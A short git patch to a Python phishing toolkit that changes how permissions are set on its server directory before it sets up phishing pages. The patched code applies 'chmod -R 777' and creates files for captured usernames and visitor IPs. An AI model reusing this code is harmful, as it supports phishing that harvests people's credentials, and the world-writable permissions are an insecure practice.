From 41801a00b9379ce6bd7a6e305a374f1d38fc3540 Mon Sep 17 00:00:00 2001 From: sTiKyt Date: Mon, 25 May 2020 16:25:41 +0300 Subject: [PATCH] Replaced os.chmod with run_command to add Recursive --- Defs/ActionManager/main_runner.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/Defs/ActionManager/main_runner.py b/Defs/ActionManager/main_runner.py index 1adc037..43ace5a 100644 --- a/Defs/ActionManager/main_runner.py +++ b/Defs/ActionManager/main_runner.py @@ -241,10 +241,11 @@ def start_main_menu(): def start_phishing_page(page, custom_option): # Phishing pages selection menu - chmod('Server', 777) + #chmod('Server', 777) + run_command(['chmod', '-R', '777', 'Server']) rmtree("Server/www", onerror=simple_informant.remove_readonly) mkdir('Server/www') - chmod('Server/www', 777) + #chmod('Server/www', 777) pathlib_Path('Server/www/usernames.txt').touch() pathlib_Path('Server/www/ip.txt').touch() copyfile('WebPages/ip.php', 'Server/www/ip.php')